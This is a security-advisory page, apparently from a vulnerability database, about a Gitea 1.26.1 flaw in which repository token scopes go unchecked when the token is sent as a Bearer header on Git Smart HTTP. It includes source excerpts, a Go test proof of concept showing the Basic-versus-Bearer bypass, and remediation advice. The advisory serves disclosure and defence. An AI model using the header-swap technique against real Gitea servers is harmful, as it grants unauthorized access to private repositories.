Severity by source
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
Exploitation requires any valid user token (PR:L), is network-reachable with a single header swap (AV:N/AC:L), no UI, and grants private repo read and write (C:H/I:H, A:N).
Primary rating from Vendor (https://github.com/go-gitea/gitea).
CVSS VectorVendor: https://github.com/go-gitea/gitea
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
Lifecycle Timeline
3DescriptionCVE.org
Summary
Gitea v1.26.1 enforces repository-scoped access-token permissions on repository operations. In the Git Smart HTTP path, however, this check runs only when the token is presented via HTTP Basic authentication - CheckRepoScopedToken() returns early unless ctx.IsBasicAuth is true - so the same token sent as Authorization: Bearer <token> bypasses the scope check entirely.
As a result, a PAT or OAuth2 token presented as a Bearer credential can clone or fetch private repositories without the read:repository scope, and likewise reach the Git push without write:repository.
Details
Git Smart HTTP routes allow both Basic auth and OAuth2/Bearer auth:
// routers/web/web.go
addOwnerRepoGitHTTPRouters(
m,
repo.HTTPGitEnabledHandler,
webAuth.AllowBasic,
webAuth.AllowOAuth2,
repo.CorsHandler(),
optSignInFromAnyOrigin,
context.UserAssignmentWeb(),
)The Git HTTP authorization path calls CheckRepoScopedToken() before falling through to normal repository RBAC:
// routers/web/repo/githttp.go
if askAuth {
if !ctx.IsSigned {
ctx.HTTPError(http.StatusUnauthorized)
return nil
}
context.CheckRepoScopedToken(ctx, repo, auth_model.GetScopeLevelFromAccessMode(accessMode))
if ctx.Written() {
return nil
}
// normal repository RBAC follows
}However, CheckRepoScopedToken() only enforces token scopes for Basic-authenticated requests:
// services/context/permission.go
func CheckRepoScopedToken(ctx *Context, repo *repo_model.Repository, level auth_model.AccessTokenScopeLevel) {
if !ctx.IsBasicAuth || ctx.Data["IsApiToken"] != true {
return
}
scope, ok := ctx.Data["ApiTokenScope"].(auth_model.AccessTokenScope)
if ok {
requiredScopes := auth_model.GetRequiredScopes(level, auth_model.AccessTokenScopeCategoryRepository)
// public-only and required repository scope checks follow
}
}The Bearer/OAuth2 auth path still records the token scope:
// services/auth/oauth2.go
accessTokenScope, uid := GetOAuthAccessTokenScopeAndUserID(ctx, tokenSHA)
if uid != 0 {
store.GetData()["IsApiToken"] = true
store.GetData()["ApiTokenScope"] = accessTokenScope
}Bearer PATs also set IsApiToken=true and ApiTokenScope, but ctx.IsBasicAuth remains false because the selected auth method is OAuth2/Bearer rather than Basic. The scope is therefore available but ignored.
PoC
This test creates a token for user2 with only read:notification, then requests Git Smart HTTP refs for user2/repo2, which is private. The same token is rejected over Basic auth, but succeeds over Bearer auth.
func TestPOCGitSmartHTTPBearerTokenBypassesRepositoryScope(t *testing.T) {
defer tests.PrepareTestEnv(t)()
repo := unittest.AssertExistsAndLoadBean(t, &repo_model.Repository{ID: 2, OwnerName: "user2", Name: "repo2"})
assert.True(t, repo.IsPrivate)
session := loginUser(t, "user2")
token := getTokenForLoggedInUser(t, session, auth_model.AccessTokenScopeReadNotification)
url := "/user2/repo2/info/refs?service=git-upload-pack"
basicReq := NewRequest(t, "GET", url)
basicReq.SetBasicAuth(token, "x-oauth-basic")
MakeRequest(t, basicReq, http.StatusForbidden)
bearerReq := NewRequest(t, "GET", url).AddTokenAuth(token)
resp := MakeRequest(t, bearerReq, http.StatusOK)
assert.Contains(t, resp.Body.String(), "refs/heads/master")
}Impact
Any Gitea instance exposing Git Smart HTTP is affected when users use PATs or OAuth2 tokens as Bearer tokens. The attacker still needs a token for a user who has normal repository RBAC, so this does not grant access to repositories the token owner could not otherwise access.
The vulnerability breaks the access-token scope boundary. A token intended only for unrelated scopes, such as read:notification, can clone or fetch private repository contents over Git Smart HTTP. The same root cause can affect write flows because git-receive-pack also calls the same repository scope check before normal write RBAC.
AnalysisAI
Authorization scope bypass in Gitea v1.26.1 and earlier allows authenticated users to use OAuth2/PAT Bearer tokens to perform Git Smart HTTP clone, fetch, and push operations on private repositories without holding the required read:repository or write:repository token scopes. The flaw stems from CheckRepoScopedToken() short-circuiting unless ctx.IsBasicAuth is true, while the same route accepts Bearer authentication. No public exploit identified at time of analysis beyond the reporter's PoC test in the GHSA advisory.
Technical ContextAI
Gitea is a self-hosted Go-based Git service. The vulnerability lives in services/context/permission.go where CheckRepoScopedToken() guards repository-scoped Personal Access Token (PAT) and OAuth2 scope enforcement, and in routers/web/repo/githttp.go which invokes it for Git Smart HTTP (git-upload-pack and git-receive-pack) endpoints. The route is registered with both webAuth.AllowBasic and webAuth.AllowOAuth2 handlers; the OAuth2 path in services/auth/oauth2.go correctly populates IsApiToken and ApiTokenScope in the session store, but CheckRepoScopedToken() returns early if ctx.IsBasicAuth is false, so the recorded scope is ignored for Bearer requests. This is a textbook CWE-863 (Incorrect Authorization) - a check exists but is applied inconsistently across authentication transports, breaking the token-scope boundary while user-level RBAC still applies. Affected component is the Go package code.gitea.io/gitea (CPE pkg:go/code.gitea.io_gitea).
RemediationAI
Vendor-released patch: upgrade to Gitea 1.26.2 or later, per GHSA-cc8w-r4qh-3v65 (https://github.com/go-gitea/gitea/security/advisories/GHSA-cc8w-r4qh-3v65). If immediate upgrade is not possible, revoke and reissue narrow-scope PATs and OAuth2 tokens that you do not want to grant repository read or write access (the bypass requires a valid token, so reducing the population of low-scope tokens shrinks exploitation surface). As a stronger compensating control, restrict Git Smart HTTP authentication to Basic only by terminating Bearer Authorization headers at a fronting reverse proxy (nginx/Traefik) for /info/refs, /git-upload-pack, and /git-receive-pack paths - trade-off: this breaks any legitimate clients that authenticate to Git over Bearer. Reviewing audit logs for clone/fetch/push operations authenticated with Bearer tokens whose scope does not include read:repository or write:repository will surface prior abuse; rotate any tokens identified in such activity.
Broken access control in Gitea's Composer package registry (versions up to and including 1.26.1) lets remote attackers r
Gitea before 1.16.7 does not escape git fetch remote. Rated high severity (CVSS 7.5), this vulnerability is remotely exp
The git hook feature in Gitea 1.1.0 through 1.12.5 might allow for authenticated remote code execution in customer envir
Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Gitea Gitea
Container escape in Gitea act_runner (Docker backend, through act 0.262.0) lets an authenticated user with workflow-exec
models/repo_mirror.go in Gitea before 1.7.6 and 1.8.x before 1.8-RC3 mishandles mirror repo URL settings, leading to rem
An issue was discovered in Gitea through 1.11.5. Rated high severity (CVSS 7.5), this vulnerability is remotely exploita
Missing Authorization in GitHub repository go-gitea/gitea prior to 1.16.4. Rated high severity (CVSS 7.1), this vulnerab
Open Redirect on login in GitHub repository go-gitea/gitea prior to 1.16.5. Rated medium severity (CVSS 6.1), this vulne
Reverse-proxy authentication bypass in the official Gitea Docker image (versions up to and including 1.26.2) allows any
Branch-protection bypass in Gitea's self-hosted Git server (all versions before 1.26.0) allows a user with push access t
Migration transport protections in Gitea are bypassed for Git LFS operations, affecting all self-hosted instances before
Same weakness CWE-863 – Incorrect Authorization
View allSame technique Authentication Bypass
View allVendor StatusVendor
SUSE
Severity: Important| Product | Status |
|---|---|
| SUSE Linux Enterprise Server 16.1 | Affected |
| SUSE Linux Enterprise Server for SAP applications 16.1 | Affected |
| SUSE Linux Enterprise Module for Package Hub 15 SP5 | Affected |
| SUSE Linux Enterprise Module for Package Hub 15 SP6 | Affected |
| openSUSE Leap 15.5 | Affected |
| openSUSE Leap 15.6 | Affected |
Share
External POC / Exploit Code
Leaving vuln.today
EUVD-2026-41644
GHSA-cc8w-r4qh-3v65